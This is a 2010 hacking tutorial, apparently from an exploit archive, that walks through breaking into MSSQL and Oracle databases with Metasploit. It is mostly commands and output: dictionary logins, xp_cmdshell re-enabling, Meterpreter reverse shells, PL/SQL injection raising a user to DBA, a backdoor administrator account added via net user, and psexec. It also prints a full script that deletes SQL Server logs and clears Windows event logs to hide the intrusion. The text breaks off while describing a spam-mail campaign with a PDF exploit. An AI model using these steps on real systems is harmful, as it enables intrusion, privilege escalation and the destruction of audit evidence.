|=--------------------------------------------------------------------=| |=---------------=[ The Operation CloudBurst Attack ]=----------------=| |=--------------------------=[ 18 Feb 2010 ]=-------------------------=| |=----------------------=[ By CWH Underground ]=--------------------=| |=--------------------------------------------------------------------=| ###### Info ###### Title : The Operation CouldBurst Attack Author : ZeQ3uL (Prathan Phongthiproek) Team : CWH Underground [http://www.exploit-db.com/author/CWH Underground] Website : cwh.citec.us / www.citec.us Date : 2010-02-18 ########## Contents ########## [0x00] - Introduction [0x01] - Get Root on MSSQL Database [0x01a] - Scanning & Enumeration [0x01b] - Gaining Access [0x01c] - Covering Track [0x02] - Get Root on Oracle Database [0x02a] - Scanning & Enumeration [0x02b] - Gaining Access [0x02c] - PL/SQL Injection - Elevate Priv [0x03] - Operation CloudBurst [0x04] - References [0x05] - Greetz To ####################### [0x00] - Introduction ####################### Hi all, in this paper, we will guide you about methods to hacking into Microsoft SQL, Oracle Database and latest Attack in Chapter "Operation CloudBurst". Moreover, we also show the ways to use the Best Exploitation tool, Metasploit Framework (Thank HD Moore and Rapid7) that powerful than day in the past with many exploit and auxiliary (We will see it ;D) We divide the paper into 6 sections from 0x00 to 0x05. However, only section 0x01 to 0x03 are technical issue. Section 0x01, we show the steps to hack into MSSQL Database. Section 0x02, we switch to talk about Oracle Database. The Last technical section lets you update latest exploitation way Step-By-Step using Metasploit Framework get access to system and compromise all domain networks :-D We recommend to read previous paper "The Art of Grey-Box Attack" that guide you about methods to hacking into Windows system, Linux system and Client-Side Attack. ##################################### [0x01] - Get Root on MSSQL Database ##################################### In this section, we talk about attacking MSSQL Database in network. We will start with scanning and enumeration MSSQL then we move to gain access system with SYSTEM Privilege in order to control the machine completely. ++++++++++++++++++++++++++++++++++ [0x01a] - Scanning & Enumeration ++++++++++++++++++++++++++++++++++ First, start with scanning by using Metasploit Framework with MSSQL Modules. Auxiliary ========= Name Rank Description ---- ---- ----------- admin/mssql/mssql_enum normal Microsoft SQL Server Configuration Enumerator admin/mssql/mssql_exec normal Microsoft SQL Server xp_cmdshell Command Execution admin/mssql/mssql_sql normal Microsoft SQL Server Generic Query scanner/mssql/mssql_login normal MSSQL Login Utility scanner/mssql/mssql_ping normal MSSQL Ping Utility Exploits ======== Name Rank Description ---- ---- ----------- windows/mssql/lyris_listmanager_weak_pass excellent Lyris ListManager MSDE Weak sa Password windows/mssql/ms02_039_slammer good Microsoft SQL Server Resolution Overflow windows/mssql/ms02_056_hello good Microsoft SQL Server Hello Overflow windows/mssql/ms09_004_sp_replwritetovarbin good Microsoft SQL Server sp_replwritetovarbin Memory Corruption windows/mssql/mssql_payload excellent Microsoft SQL Server Payload Execution The first example, We use mssql_loing to scan machine that used MSSQL database and try dictionary attack with our dict: [MSF Result]----------------------------------------------------------------------------------- msf > use scanner/mssql/mssql_login msf auxiliary(mssql_login) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- HEX2BINARY /opt/metasploit3/msf3/data/exploits/mssql/h2b no The path to the hex2binary script on the disk MSSQL_PASS no The password for the specified username MSSQL_PASS_FILE no A dictionary of passwords to perform a bruteforce attempt MSSQL_USER sa no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mssql_login) > set RHOSTS 192.168.163.0/24 RHOSTS => 192.168.163.0/24 msf auxiliary(mssql_login) > set MSSQL_PASS_FILE /pentest/passwords/wordlists/sqlpass.lst MSSQL_PASS_FILE => /pentest/passwords/wordlists/sqlpass.lst msf auxiliary(mssql_login) > run [*] 192.168.163.128:1433 successful logged in as 'sa' with password '' [*] Scanned 1 of 3 hosts (100% complete) [*] Auxiliary module execution completed [End Result]------------------------------------------------------------------------------------ From result, we got successful logged with 'sa' with blank password from 192.168.163.128 (Many admin use 'password', 'p@ssw0rd' without quote). Next step, we use mssql_enum to enumerate MSSQL information from target. [MSF Result]----------------------------------------------------------------------------------- msf > use admin/mssql/mssql_enum msf auxiliary(mssql_enum) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- HEX2BINARY /opt/metasploit3/msf3/data/exploits/mssql/h2b no The path to the hex2binary script on the disk MSSQL_PASS no The password for the specified username MSSQL_USER sa no The username to authenticate as RHOST yes The target address RPORT 1433 yes The target port msf auxiliary(mssql_enum) > set RHOST 192.168.163.128 RHOST => 192.168.163.128 msf auxiliary(mssql_enum) > run [*] Running MS SQL Server Enumeration... [*] Version: [*] Microsoft SQL Server 2000 - 8.00.194 (Intel X86) [*] Aug 6 2000 00:57:48 [*] Copyright (c) 1988-2000 Microsoft Corporation [*] Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 1) [*] Configuration Parameters: [*] C2 Audit Mode is Not Enabled [*] xp_cmdshell is Enabled [*] remote access is Enabled [*] allow updates is Not Enabled [*] Database Mail XPs is Enabled [*] Ole Automation Procedures is Enabled [*] Databases on the server: [*] Database name:master [*] Database Files for master: [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\master.mdf [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\mastlog.ldf [*] Database name:tempdb [*] Database Files for tempdb: [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\tempdb.mdf [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\templog.ldf [*] Database name:model [*] Database Files for model: [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\model.mdf [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\modellog.ldf [*] Database name:msdb [*] Database Files for msdb: [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\msdbdata.mdf [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\msdblog.ldf [*] Database name:pubs [*] Database Files for pubs: [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\pubs.mdf [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\pubs_log.ldf [*] Database name:Northwind [*] Database Files for Northwind: [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\northwnd.mdf [*] C:\Program Files\Microsoft SQL Server\MSSQL\data\northwnd.ldf [*] System Logins on this Server: [*] sa [*] BUILTIN\Administrators [*] System Admin Logins on this Server: [*] BUILTIN\Administrators [*] sa [*] Windows Logins on this Server: [*] No Windows logins found! [*] Windows Groups that can logins on this Server: [*] BUILTIN\Administrators [*] Accounts with Username and Password being the same: [*] No Account with its password being the same as its username was found. [*] Accounts with empty password: [*] sa [*] Stored Procedures with Public Execute Permission found: [*] xp_getfiledetails [*] xp_dirtree [*] xp_fixeddrives [*] xp_cmdshell [*] xp_getnetname [*] xp_enum_activescriptengines [*] xp_fileexist [*] xp_ntsec_enumdomains [*] sp_getbindtoken [*] sp_createorphan [*] xp_unc_to_drive [*] sp_droporphans [*] xp_MSplatform [*] sp_xml_preparedocument [*] sp_xml_removedocument [*] xp_IsNTAdmin [*] xp_MSnt2000 [*] xp_grantlogin [*] xp_revokelogin [*] xp_MSLocalSystem [*] sp_prepexec [*] sp_prepexecrpc [*] sp_unprepare [*] sp_reset_connection [*] sp_getschemalock [*] sp_releaseschemalock [*] sp_resyncprepare [*] sp_resyncexecute [*] sp_resyncexecutesql [*] sp_resyncuniquetable [*] sp_refreshview [*] sp_repldone [*] sp_repltrans [*] sp_replcounters [*] sp_replcmds [*] sp_replpostschema [*] sp_replincrementlsn [*] sp_replsetoriginator [*] sp_replsetsyncstatus [*] xp_mergexpusage [*] xp_showlineage [*] xp_updatelineage [*] xp_proxiedmetadata [*] xp_initcolvs [*] xp_updatecolvbm [*] xp_showcolv [*] xp_execresultset [*] xp_varbintohexstr [*] xp_intersectbitmaps [*] xp_displayparamstmt [*] xp_printstatements [*] sp_replsendtoqueue [*] sp_replwritetovarbin [*] xp_qv [*] xp_regread [*] Instances found on this server: [*] MSSQLSERVER [*] Default Server Instance SQL Server Service is running under the privilege of: [*] LocalSystem [*] Auxiliary module execution completed [End Result]------------------------------------------------------------------------------------ ++++++++++++++++++++++++++ [0x01b] - Gaining Access ++++++++++++++++++++++++++ Next step, We will get shell from target with MSSQL's stored procedure xp_cmdshell. It enabled by default on MSSQL2000 but in MSSQL2005,2008 it disabled by default so We can re-enable or create xp_cmdshell with these command (Metasploit 'admin/mssql/mssql_exec' can re-enable XP_CMDSHELL): Re-Enable XP_CMDSHELL on MSSQL 2005/2008 - "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" Re-Enable XP_CMDSHELL on MSSQL 2000 - "exec sp_addextendedproc 'xp_cmdshell','xp_log70.dll';exec sp_addextendedproc 'xp_cmdshell', 'C:\\Program Files\\Microsoft SQL Server\\MSSQL\\Binn\ \xplog70.dll';" Rebuild XP_CMDSHELL if it was deleted - "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS;DECLARE @result int, @OLEResult int, @RunResult int;DECLARE @ShellID int; EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT;IF @OLEResult <> 0 SELECT @result = @OLEResult;IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult);EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait;IF @OLEResult <> 0 SELECT @result = @OLEResult;IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult);EXECUTE @OLEResult = sp_OADestroy @ShellID;return @result;" Now we use mssql_payload to spawn meterpreter shell that make me easy to compromise system [MSF Result]----------------------------------------------------------------------------------- msf > use windows/mssql/mssql_payload msf exploit(mssql_payload) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOST yes The target address RPORT 1433 yes The target port USERNAME sa no The username to authenticate as Exploit target: Id Name -- ---- 0 Automatic msf exploit(mssql_payload) > set RHOST 192.168.163.128 RHOST => 192.168.163.128 msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 192.168.163.2 LHOST => 192.168.163.2 msf exploit(mssql_payload) > exploit [*] Started reverse handler on port 4444 [*] Warning: This module will leave nPIsxDgn.exe in the SQL Server %TEMP% directory [*] Writing the debug.com loader to the disk... [*] Converting the debug script to an executable... [*] Uploading the payload, please be patient... [*] Converting the encoded payload... [*] Executing the payload... [*] Sending stage (725504 bytes) [*] Meterpreter session 1 opened (192.168.163.2:4444 -> 192.168.163.128:1050) meterpreter > getuid Server username: NT AUTHORITY\SYSTEM [End Result]------------------------------------------------------------------------------------ ++++++++++++++++++++++++++ [0x01c] - Covering Track ++++++++++++++++++++++++++ How about Log file ?? When we used meterpreter script to spawn shell, Windows Event viewer can keep our log activity. So I found nice script from Zero Cold@intern0t to clear our logs: Mssqlclear.rb [Code]----------------------------------------------------------------------------------- #MSSQL LOG CLEAR BY ZERO COLD def list_exec(session,cmdlst) print_status("Running Command List ...") r='' session.response_timeout=120 cmdlst.each do |cmd| begin print_status "running command #{cmd}" r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) print_status("#{d}") end r.channel.close r.close rescue ::Exception => e print_error("Error Running Command #{cmd}: #{e.class} #{e}") end end end commands = ['Net STOP "SQL Server (SQLEXPRESS)" ', 'del "%SystemDrive%\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\ERRORLOG.*"', 'del "%SystemDrive%\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\log*.trc"', 'Net START "SQL Server (SQLEXPRESS)"'] def clrevtlgs(session) evtlogs = [ 'security', 'system', 'application', 'directory service', 'dns server', 'file replication service' ] print_status("Clearing Event Logs, this will leave and event 517") begin evtlogs.each do |evl| print_status("Clearing the #{evl} Event Log") log = session.sys.eventlog.open(evl) log.clear end print_status("All Event Logs have been cleared") rescue ::Exception => e print_status("Error clearing Event Log: #{e.class} #{e}") end end list_exec(client,commands) clrevtlgs(client) [End Code]------------------------------------------------------------------------------------ Now we got mssqlclear.rb then place code into your metasploit scripts directory [Run Script]--------------------------------------------------------------------------------- meterpreter > run mssqlclear [*] Running Command List ... [*] running command Net STOP "SQL Server (SQLEXPRESS)" [*] The SQL Server (SQLEXPRESS) service is stopping. [*] The SQL Server (SQLEXPRESS) service was stopped successfully. [*] running command del "%SystemDrive%\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\ERRORLOG.*" [*] running command del "%SystemDrive%\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\log*.trc" [*] running command Net START "SQL Server (SQLEXPRESS)" [*] The SQL Server (SQLEXPRESS) service is starting. [*] The SQL Server (SQLEXPRESS) service was started successfully. [*] Clearing Event Logs, this will leave and event 517 [*] Clearing the security Event Log [*] Clearing the system Event Log [*] Clearing the application Event Log [*] Clearing the directory service Event Log [*] Clearing the dns server Event Log [*] Clearing the file replication service Event Log[*] All Event Logs have been cleared meterpreter > [End Run]------------------------------------------------------------------------------------ ###################################### [0x02] - Get Root on Oracle Database ###################################### ++++++++++++++++++++++++++++++++++ [0x02a] - Scanning & Enumeration ++++++++++++++++++++++++++++++++++ First, start with scanning by using Metasploit Framework with Oracle Modules. Auxiliary ========= Name Rank Description ---- ---- ----------- admin/oracle/droptable_trigger normal SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger. admin/oracle/login_brute normal Oracle Account Discovery. admin/oracle/ora_ntlm_stealer normal Oracle SMB Relay Code Execution admin/oracle/oracle_sql normal Oracle SQL Generic Query admin/oracle/oraenum normal Oracle Database Enumeration admin/oracle/osb_execqr normal Oracle Secure Backup exec_qr() Command Injection Vulnerability admin/oracle/osb_execqr2 normal Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability admin/oracle/post_exploitation/win32exec normal Oracle Java execCommand (Win32) admin/oracle/post_exploitation/win32upload normal Oracle URL Download admin/oracle/sid_brute normal ORACLE SID Brute Forcer. admin/oracle/tnscmd normal TNSLsnr Command Issuer scanner/oracle/emc_sid normal Oracle Enterprise Manager Control SID Discovery scanner/oracle/sid_enum normal SID Enumeration. scanner/oracle/spy_sid normal Oracle Application Server Spy Servlet SID Enumeration. scanner/oracle/tnslsnr_version normal Oracle tnslsnr Service Version Query. scanner/oracle/xdb_sid normal Oracle XML DB SID Discovery sqli/oracle/dbms_cdc_ipublish normal SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE sqli/oracle/dbms_cdc_publish normal SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE sqli/oracle/dbms_defer_sys normal SQL Injection via SYS.DBMS_DEFER_SYS sqli/oracle/dbms_export_extension normal SQL Injection via DBMS_EXPORT_EXTENSION sqli/oracle/dbms_metadata_get_granted_xml normal SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML. sqli/oracle/dbms_metadata_get_xml normal SQL Injection via SYS.DBMS_METADATA.GET_XML. sqli/oracle/dbms_metadata_open normal SQL Injection via SYS.DBMS_METADATA.OPEN. sqli/oracle/lt_compressworkspace normal SQL Injection via SYS.LT.COMPRESSWORKSPACE. sqli/oracle/lt_findricset_cursor normal SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method sqli/oracle/lt_mergeworkspace normal SQL Injection via SYS.LT.MERGEWORKSPACE. sqli/oracle/lt_removeworkspace normal SQL Injection via SYS.LT.REMOVEWORKSPACE. sqli/oracle/lt_rollbackworkspace normal SQL Injection via SYS.LT.ROLLBACKWORKSPACE. Exploits ======== Name Rank Description ---- ---- ----------- windows/browser/oracle_dc_submittoexpress normal Oracle Document Capture 10g ActiveX Control Buffer Overflow windows/ftp/oracle9i_xdb_ftp_pass great Oracle 9i XDB FTP PASS Overflow (win32) windows/ftp/oracle9i_xdb_ftp_unlock great Oracle 9i XDB FTP UNLOCK Overflow (win32) windows/http/oracle9i_xdb_pass great Oracle 9i XDB HTTP PASS Overflow (win32) windows/oracle/osb_ndmp_auth good Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow windows/oracle/tns_arguments good Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow. windows/oracle/tns_service_name good Oracle TNS Listener SERVICE_NAME Buffer Overflow. Next, We must find machine that use Oracle DB (Default port=1521) with 'scanner/oracle/tnslsnr_version'. [MSF Result]---------------------------------------------------------------------------- msf > use scanner/oracle/tnslsnr_version msf auxiliary(tnslsnr_version) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 1521 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.163.0/24 RHOSTS => 192.168.163.0/24 msf auxiliary(tnslsnr_version) > run [*] Scanned 026 of 256 hosts (010% complete) [*] Scanned 052 of 256 hosts (020% complete) [*] Scanned 077 of 256 hosts (030% complete) [*] Scanned 103 of 256 hosts (040% complete) [*] Scanned 128 of 256 hosts (050% complete) [*] Host 192.168.163.140 is running: 32-bit Windows: Version 9.2.0.1.0 - Production [*] Scanned 154 of 256 hosts (060% complete) [*] Scanned 180 of 256 hosts (070% complete) [*] Scanned 205 of 256 hosts (080% complete) [*] Scanned 231 of 256 hosts (090% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed [End Result]---------------------------------------------------------------------------- Next step, Find SID instance (Service Name) on 192.168.163.140. Oracle 9i can enumerate SID with TNS_listener (No password) or use tns_cmd to grab service to find SID. [MSF Result]---------------------------------------------------------------------------- msf auxiliary(tnslsnr_version) > use scanner/oracle/sid_enum msf auxiliary(sid_enum) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 1521 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(sid_enum) > set RHOSTS 192.168.163.140 RHOSTS => 192.168.163.140 msf auxiliary(sid_enum) > run [*] Identified SID for 192.168.163.140: RD [*] Identified SERVICE_NAME for 192.168.163.140: RD.ORA [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(sid_enum) > [End Result]---------------------------------------------------------------------------- It's seem we lucky to found SERVICE_NAME=RD.ORA, If 'sid_enum' not work, You can use 'admin/oracle/sid_brute' to find SID. Next step, Make sure that SERVICE_NAME=RD.ORA with 'admin/oracle/tnscmd' [MSF Result]---------------------------------------------------------------------------- msf auxiliary(sid_enum) > use admin/oracle/tnscmd msf auxiliary(tnscmd) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- CMD (CONNECT_DATA=(COMMAND=VERSION)) no Something like ping, version, status, etc.. RHOST yes The target address RPORT 1521 yes The target port msf auxiliary(tnscmd) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf auxiliary(tnscmd) > set CMD (CONNECT_DATA=(COMMAND=STATUS)) CMD => (CONNECT_DATA=(COMMAND=STATUS)) msf auxiliary(tnscmd) > run sending (CONNECT_DATA=(COMMAND=status)) to 192.168.163.140:1521 writing 89 bytes reading . .......6.........S. ...........]........(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=LISTENER) (SECURITY=OFF)(VERSION=TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production)(START_DATE=13-11TB-200809:50:24)(SIDNUM=1)(LOGFILE=e:\oracle\ora92\network\log\listener.log) (PRMFILE=e:\oracle\ora92\network\admin\listener.ora)(TRACING=off)(UPTIME=32233167)(SNMP=OFF)(PID=1580)) .5........(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0) (HANDLER_ID=05ABD43D6CF4-438B-A1A1-14FC7801D431)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=abc.com)(PORT=1521))))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0) (ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=A06894A90C64-4555-A915-FC8798AA2A9B)(PRE=http)(SESSION=RAW) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=abc.com)(PORT=8080))(Presentation=HTTP)(Session=RAW)))),, (ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0) (HANDLER_ID=A0BB13DB2389-431A-80F2-D896C275A179)(PRE=FTP)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=abc.com)(PORT=2100))(Presentation=FTP)(Session=RAW)))),,(SERVICE=(SERVICE_NAME=RD.ORA) (INSTANCE=(INSTANCE_NAME=RD)(NUM=2)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=RD.ORA) (INSTANCE=(INSTANCE_NAME=RD)(NUM=2)(NUMREL=1))),,.........@ [End Result]---------------------------------------------------------------------------- ++++++++++++++++++++++++++ [0x02b] - Gaining Access ++++++++++++++++++++++++++ Now We got real SID is RD.ORA, Next step use 'admin/oracle/login_brute' to brute-force weak username and password such as SYSTEM/MANAGER, DBSNMP/DBSNMP, SCOTT/TIGER Then Connect to Oracle database and query command with 'admin/oracle/oracle_sql' For example we use SCOTT/TIGET that default username/password. [MSF Result]---------------------------------------------------------------------------- msf auxiliary(tnscmd) > use admin/oracle/login_brute msf auxiliary(login_brute) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- CSVFILE /opt/metasploit3/msf3/data/wordlists/oracle_default_passwords.csv no The file that contains a list of default accounts. RHOST yes The Oracle host. RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate with. msf auxiliary(login_brute) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf auxiliary(login_brute) > set SID RD.ORA SID => RD.ORA msf auxiliary(login_brute) > run [*] Found user/pass of: DBSNMP/DBSNMP... [*] Found user/pass of: SCOTT/TIGER... [*] Auxiliary module execution completed msf auxiliary(login_brute) > use admin/oracle/oracle_sql msf auxiliary(oracle_sql) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- DBPASS TIGER yes The password to authenticate with. DBUSER SCOTT yes The username to authenticate with. RHOST yes The Oracle host. RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate with. SQL select * from v$version no The SQL to execute. msf auxiliary(oracle_sql) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf auxiliary(oracle_sql) > set SID RD.ORA SID => RD.ORA msf auxiliary(oracle_sql) > run [*] Sending SQL... [*] Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production [*] PL/SQL Release 9.2.0.1.0 - Production [*] CORE 9.2.0.1.0 Production [*] TNS for 32-bit Windows: Version 9.2.0.1.0 - Production [*] NLSRTL Version 9.2.0.1.0 - Production [*] Done... [*] Auxiliary module execution completed msf auxiliary(oracle_sql) > set SQL "select * from user_role_privs" SQL => select * from user_role_privs msf auxiliary(oracle_sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO [*] Done... [*] Auxiliary module execution completed [End Result]---------------------------------------------------------------------------- +++++++++++++++++++++++++++++++++++++++++++ [0x02c] - PL/SQL Injection - Elevate Priv +++++++++++++++++++++++++++++++++++++++++++ We can query with SCOTT Priv but we want more priv like god (root). With PL/SQL Injection, we can potentially elevate their level of priv from a low-level PUBLIC account to an account with DBA-level priv. In Metasploit have module for SQLi Oracle: Auxiliary ========= Name Rank Description ---- ---- ----------- sqli/oracle/dbms_cdc_ipublish normal SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE sqli/oracle/dbms_cdc_publish normal SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE sqli/oracle/dbms_defer_sys normal SQL Injection via SYS.DBMS_DEFER_SYS sqli/oracle/dbms_metadata_get_granted_xml normal SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML. sqli/oracle/dbms_metadata_get_xml normal SQL Injection via SYS.DBMS_METADATA.GET_XML. sqli/oracle/dbms_metadata_open normal SQL Injection via SYS.DBMS_METADATA.OPEN. sqli/oracle/dbms_export_extension normal SQL Injection via DBMS_EXPORT_EXTENSION sqli/oracle/lt_compressworkspace normal SQL Injection via SYS.LT.COMPRESSWORKSPACE. sqli/oracle/lt_findricset_cursor normal SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method sqli/oracle/lt_mergeworkspace normal SQL Injection via SYS.LT.MERGEWORKSPACE. sqli/oracle/lt_removeworkspace normal SQL Injection via SYS.LT.REMOVEWORKSPACE. sqli/oracle/lt_rollbackworkspace normal SQL Injection via SYS.LT.ROLLBACKWORKSPACE. It's time to elevate SCOTT priv to DBA priv with SQLi DBMS_EXPORT_EXTENSION [MSF Result]---------------------------------------------------------------------------- msf > use sqli/oracle/dbms_export_extension msf auxiliary(dbms_export_extension) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf auxiliary(dbms_export_extension) > set SID RD.ORA SID => RD.ORA msf auxiliary(dbms_export_extension) > run [*] Sending package... [*] Done... [*] Sending body... [*] Done... [*] Sending declare... [*] Done... [*] Auxiliary module execution completed msf auxiliary(dbms_export_extension) > use admin/oracle/oracle_sql msf auxiliary(oracle_sql) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf auxiliary(oracle_sql) > set SID RD.ORA SID => RD.ORA msf auxiliary(oracle_sql) > set SQL "select * from user_role_privs" SQL => select * from user_role_privs msf auxiliary(oracle_sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,DBA,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO [*] Done... [*] Auxiliary module execution completed [End Result]---------------------------------------------------------------------------- W00T W00T !!, Now SCOTT has DBA Priv. Happy Time to Spawn shell with Java but first we must grant javasys priv to SCOTT. [MSF Result]---------------------------------------------------------------------------- msf auxiliary(oracle_sql) > set SQL "grant javasyspriv to SCOTT" SQL => grant javasyspriv to SCOTT msf auxiliary(oracle_sql) > run [*] Sending SQL... [*] Done... [*] Auxiliary module execution completed msf auxiliary(oracle_sql) > set SQL "select * from user_role_privs" SQL => select * from user_role_privs msf auxiliary(oracle_sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,DBA,NO,YES,NO [*] SCOTT,JAVASYSPRIV,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO [*] Done... [*] Auxiliary module execution completed [End Result]---------------------------------------------------------------------------- Use 'admin/oracle/post_exploitation/win32exec' to send command execution on victim system. [MSF Result]---------------------------------------------------------------------------- msf > use admin/oracle/post_exploitation/win32exec msf auxiliary(win32exec) > set CMD "net user zeq3ul 5plus4=10 /add && net localgroup administrators zeq3ul /add" CMD => net user zeq3ul 5plus4=10 /add && net localgroup administrators zeq3ul /add msf auxiliary(oracle_win32) > set SID RD.ORA SID => RD.ORA msf auxiliary(oracle_win32) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf auxiliary(oracle_win32) > run [*] Creating MSF JAVA class... [*] Done... [*] Creating MSF procedure... [*] Done... [*] Sending command: 'net user zeq3ul 5plus4=10 /add && net localgroup administrators zeq3ul /add' [*] Done... [*] Auxiliary module execution completed [End Result]---------------------------------------------------------------------------- Next step to full compromise system with PSEXEC and METERPRETER Payload [MSF Result]---------------------------------------------------------------------------- msf > use windows/smb/psexec msf exploit(psexec) > set RHOST 192.168.163.140 RHOST => 192.168.163.140 msf exploit(psexec) > set SMBUser zeq3ul SMBUser => zeq3ul msf exploit(psexec) > set SMBPass 5plus4=10 SMBPass => 5plus4=10 msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(psexec) > set LHOST 192.168.163.137 LHOST => 192.168.163.137 msf exploit(psexec) > exploit [*] Connecting to the server... [*] Started reverse handler on port 4444 [*] Authenticating as user 'zeq3ul'... [*] Uploading payload... [*] Created \mFfFcDAj.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.163.140[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.163.140[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (mPJJxvtC - "MHMAPTlybviISxdBueIVtLYOTcL")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \mFfFcDAj.exe... [*] Sending stage (723456 bytes) [*] Meterpreter session 1 opened (192.168.163.137:4444 -> 192.168.163.140:1633) meterpreter > getuid Server username: NT AUTHORITY\SYSTEM [End Result]---------------------------------------------------------------------------- ############################### [0x03] - Operation CloudBurst ############################### Metasploit is a tool for exploiting system and software vulnerabilities.A new day has come with new software vulnerabilities such as "Operation Aurora" That attack IE that I hope to affect IE8 (Bypass DEP+ASLR) soon ;) , Adobe Reader/Flash, Microsoft Office (Evil Macro), Java Applet, Cross Site Scripting, etc. New Trend for attack is Attack Layer 8 - Client Side Exploit. So This chapter we will point to attack "From Slave to God" that start with Client Side exploit to compromise intranet victim's network then exploit system by "The Art of Grey-Box Attack" papers. Before begin the operation, we must prepared technic for the Battle. << KiTrap0D >> Exploit for All Windows versions, Local Ring0 Kernel Exploit All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to be affected, including but not limited to the following actively supported versions: - Windows 2000 - Windows XP - Windows Server 2003 - Windows Vista - Windows Server 2008 - Windows 7 - etc. Kitrap0D were combine into Metasploit Framework Meterpreter ;) You must SVN update metasploit to the latest exploit too for get it. This Operation, we send Many SPAM Mail to victim's mail then waiting for connection. We used Adobe JBIG2Decode Vulnerability that affect Adobe 